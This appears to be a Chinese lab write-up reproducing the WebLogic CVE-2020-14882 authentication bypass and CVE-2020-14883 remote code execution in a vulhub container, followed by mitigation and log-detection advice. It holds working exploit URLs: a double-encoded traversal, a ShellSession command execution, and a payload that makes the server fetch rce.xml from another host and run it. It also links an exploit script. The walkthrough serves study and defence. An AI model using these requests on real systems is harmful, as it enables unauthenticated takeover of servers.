草庐IT

CVE-2020-14882&14883漏洞复现

m0_52089634 2023-10-10 原文

漏洞介绍

 

在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14882。

CVE-2020-14882 允许远程用户规避控制台组件中的身份验证。导致此漏洞的原因是服务器 URL 的路径遍历黑名单配置不当,可以在 WebLogic HTTP 访问的处理程序类中找到该黑名单。可以使用双编码字符串比如%252e%252e%252fconsole.portal绕过登陆限制进行访问。

CVE-2020-14883 允许未经身份验证的用户在管理员控制台组件上执行任何命令。由此产生的风险是,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令,并完全控制主机。

环境搭建

下载好vulhub后,进入/vulhub/weblogic/CVE-2020-14882目录下:

进入该目录下,启动环境,命令:docker-compose up -d

至此,环境搭建完成

访问此网址,会弹出来登录界面:

http://192.168.223.141:7001/console/login/LoginForm.jsp

漏洞POC:http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal

访问后,可以看到成功进入了后台。

尽管进入了后台,因为权限较低,也无法进行相关操作。所以此时根据漏洞介绍,我们就需要用到CVE-2020-14883这个漏洞。该漏洞使得攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下,接管WebLogic Server Console,可执行任意代码。这个漏洞有两种利用方式:

1】通过com.tangosol.coherence.mvel2.sh.ShellSession类:

1)使用GET请求方式:

可用com.tangosol.coherence.mvel2.sh.ShellSession执行相应的命令,访问如下URL:

http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

输入命令docker-compose exec weblogic bash进入容器中,查看tmp目录,可以看到success1已成功被创建,命令被成功执行。

2)使用POST请求方式:

上面使用GET请求,是没有回显的。接下来通过执行python脚本,实现输入命令,可直接有回显

此Python脚本来自:

https://github.com/GGyao/CVE-2020-14882_ALL/blob/master/CVE-2020-14882_ALL.py

2】通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

1)加载xml执行命令

我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,可以自行搭建,由于没有一台有公网IP的服务器,与上面一样,这里我直接访问与被攻击机同网段的另一台主机(windows10)上的xml,将该xml置于phpstudy的WWW目录下即可访问,该xml的目的是执行touch命令,在tmp目录下创建success2

然后输入如下URL,即可让Weblogic加载攻击机上的rce.xml,并执行其中的命令:http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.223.152/rce.xml")

访问后页面显示如下:

依旧通过docker-compose exec weblogic bash命令进入容器,查看tmp中是否创建了success2

可以看到success2成功被创建,命令执行成功。

修复建议

(1)在不影响正常业务的情况下,建议暂时对外关闭后台 /console/console.portal 的访问权限 ,或者对 Console 访问路径进行重命名(将默认的请求路径 console 更改为一个不易猜解的请求路径)。

(2)查看应用程序日志中,是否存在包含双重编码路径遍历的HTTP请求:%252E%252E%252F和在请求URI里的console.portal

(3)监视网络流量中的可疑 HTTP 请求

(4)监视应用程序创建的任何可疑进程,比如cmd.exe、/bin/sh

有关CVE-2020-14882&14883漏洞复现的更多相关文章

  1. ruby-on-rails - rails : "missing partial" when calling 'render' in RSpec test - 2

    我正在尝试测试是否存在表单。我是Rails新手。我的new.html.erb_spec.rb文件的内容是:require'spec_helper'describe"messages/new.html.erb"doit"shouldrendertheform"dorender'/messages/new.html.erb'reponse.shouldhave_form_putting_to(@message)with_submit_buttonendendView本身,new.html.erb,有代码:当我运行rspec时,它失败了:1)messages/new.html.erbshou

  2. ruby-on-rails - 由于 "wkhtmltopdf",PDFKIT 显然无法正常工作 - 2

    我在从html页面生成PDF时遇到问题。我正在使用PDFkit。在安装它的过程中,我注意到我需要wkhtmltopdf。所以我也安装了它。我做了PDFkit的文档所说的一切......现在我在尝试加载PDF时遇到了这个错误。这里是错误:commandfailed:"/usr/local/bin/wkhtmltopdf""--margin-right""0.75in""--page-size""Letter""--margin-top""0.75in""--margin-bottom""0.75in""--encoding""UTF-8""--margin-left""0.75in""-

  3. ruby-on-rails - 'compass watch' 是如何工作的/它是如何与 rails 一起使用的 - 2

    我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t

  4. ruby-on-rails - 如何从 format.xml 中删除 <hash></hash> - 2

    我有一个对象has_many应呈现为xml的子对象。这不是问题。我的问题是我创建了一个Hash包含此数据,就像解析器需要它一样。但是rails自动将整个文件包含在.........我需要摆脱type="array"和我该如何处理?我没有在文档中找到任何内容。 最佳答案 我遇到了同样的问题;这是我的XML:我在用这个:entries.to_xml将散列数据转换为XML,但这会将条目的数据包装到中所以我修改了:entries.to_xml(root:"Contacts")但这仍然将转换后的XML包装在“联系人”中,将我的XML代码修改为

  5. ruby - 检查 "command"的输出应该包含 NilClass 的意外崩溃 - 2

    为了将Cucumber用于命令行脚本,我按照提供的说明安装了arubagem。它在我的Gemfile中,我可以验证是否安装了正确的版本并且我已经包含了require'aruba/cucumber'在'features/env.rb'中为了确保它能正常工作,我写了以下场景:@announceScenario:Testingcucumber/arubaGivenablankslateThentheoutputfrom"ls-la"shouldcontain"drw"假设事情应该失败。它确实失败了,但失败的原因是错误的:@announceScenario:Testingcucumber/ar

  6. ruby-on-rails - Rails 3.2.1 中 ActionMailer 中的未定义方法 'default_content_type=' - 2

    我在我的项目中添加了一个系统来重置用户密码并通过电子邮件将密码发送给他,以防他忘记密码。昨天它运行良好(当我实现它时)。当我今天尝试启动服务器时,出现以下错误。=>BootingWEBrick=>Rails3.2.1applicationstartingindevelopmentonhttp://0.0.0.0:3000=>Callwith-dtodetach=>Ctrl-CtoshutdownserverExiting/Users/vinayshenoy/.rvm/gems/ruby-1.9.3-p0/gems/actionmailer-3.2.1/lib/action_mailer

  7. ruby-on-rails - 如何优雅地重启 thin + nginx? - 2

    我的瘦服务器配置了nginx,我的ROR应用程序正在它们上运行。在我发布代码更新时运行thinrestart会给我的应用程序带来一些停机时间。我试图弄清楚如何优雅地重启正在运行的Thin实例,但找不到好的解决方案。有没有人能做到这一点? 最佳答案 #Restartjustthethinserverdescribedbythatconfigsudothin-C/etc/thin/mysite.ymlrestartNginx将继续运行并代理请求。如果您将Nginx设置为使用多个上游服务器,例如server{listen80;server

  8. ruby - 在 jRuby 中使用 'fork' 生成进程的替代方案? - 2

    在MRIRuby中我可以这样做:deftransferinternal_server=self.init_serverpid=forkdointernal_server.runend#Maketheserverprocessrunindependently.Process.detach(pid)internal_client=self.init_client#Dootherstuffwithconnectingtointernal_server...internal_client.post('somedata')ensure#KillserverProcess.kill('KILL',

  9. ruby - 主要 :Object when running build from sublime 的未定义方法 `require_relative' - 2

    我已经从我的命令行中获得了一切,所以我可以运行rubymyfile并且它可以正常工作。但是当我尝试从sublime中运行它时,我得到了undefinedmethod`require_relative'formain:Object有人知道我的sublime设置中缺少什么吗?我正在使用OSX并安装了rvm。 最佳答案 或者,您可以只使用“require”,它应该可以正常工作。我认为“require_relative”仅适用于ruby​​1.9+ 关于ruby-主要:Objectwhenrun

  10. ruby - 无法让 RSpec 工作—— 'require' : cannot load such file - 2

    我花了三天的时间用头撞墙,试图弄清楚为什么简单的“rake”不能通过我的规范文件。如果您遇到这种情况:任何文件夹路径中都不要有空格!。严重地。事实上,从现在开始,您命名的任何内容都没有空格。这是我的控制台输出:(在/Users/*****/Desktop/LearningRuby/learn_ruby)$rake/Users/*******/Desktop/LearningRuby/learn_ruby/00_hello/hello_spec.rb:116:in`require':cannotloadsuchfile--hello(LoadError) 最佳

随机推荐